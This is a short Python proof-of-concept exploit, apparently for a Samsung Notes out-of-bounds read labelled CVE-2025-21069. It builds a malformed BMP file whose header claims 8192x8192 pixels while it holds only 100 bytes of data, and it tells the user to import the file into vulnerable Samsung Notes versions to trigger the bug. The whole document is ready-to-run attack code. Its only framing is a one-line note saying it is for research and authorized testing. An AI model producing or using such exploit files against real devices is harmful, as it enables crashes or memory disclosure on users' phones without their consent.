The following code is for security research and authorized testing only.
python
# CVE-2025-21069 - Samsung Notes OOB Read PoC
# This PoC demonstrates the concept of triggering an out-of-bounds read
# in Samsung Notes image parsing by crafting a malicious image file.
import struct
import os
def craft_malicious_image(output_path):
"""
Create a malformed image file that triggers OOB read in Samsung Notes.
The image header claims a large dimension while the actual pixel data
is much smaller, causing the parser to read beyond allocated buffer.
"""
# BMP file format with manipulated header
# File header (14 bytes)
file_header = struct.pack('<2sIHHI', b'BM', 0, 0, 0, 54)
# DIB header (40 bytes) - claiming large dimensions
# width=8192, height=8192 (much larger than actual data)
dib_header = struct.pack('<IiiHHIIiiII',
40, # header size
8192, # width (claimed - triggers OOB)
8192, # height (claimed - triggers OOB)
1, # color planes
24, # bits per pixel
0, # compression (none)
0, # image size (can be 0 for uncompressed)
0, # x pixels per meter
0, # y pixels per meter
0, # colors in palette
0 # important colors
)
# Minimal actual pixel data (much smaller than claimed dimensions)
# Only provide a small amount of data to trigger OOB read
pixel_data = b'\x00' * 100
# Combine all parts
malicious_image = file_header + dib_header + pixel_data
with open(output_path, 'wb') as f:
f.write(malicious_image)
print(f"[*] Malicious image created: {output_path}")
print(f"[*] Claimed dimensions: 8192x8192")
print(f"[*] Actual pixel data: {len(pixel_data)} bytes")
print(f"[*] When Samsung Notes parses this image, it will attempt to")
print(f"[*] read 8192*8192*3 bytes from a much smaller buffer -> OOB read")
if __name__ == '__main__':
output = 'cve_2025_21069_malicious_image.bmp'
craft_malicious_image(output)
print(f"\n[+] PoC generated successfully.")
print(f"[+] Import this image into Samsung Notes < 4.4.30.63 to trigger.")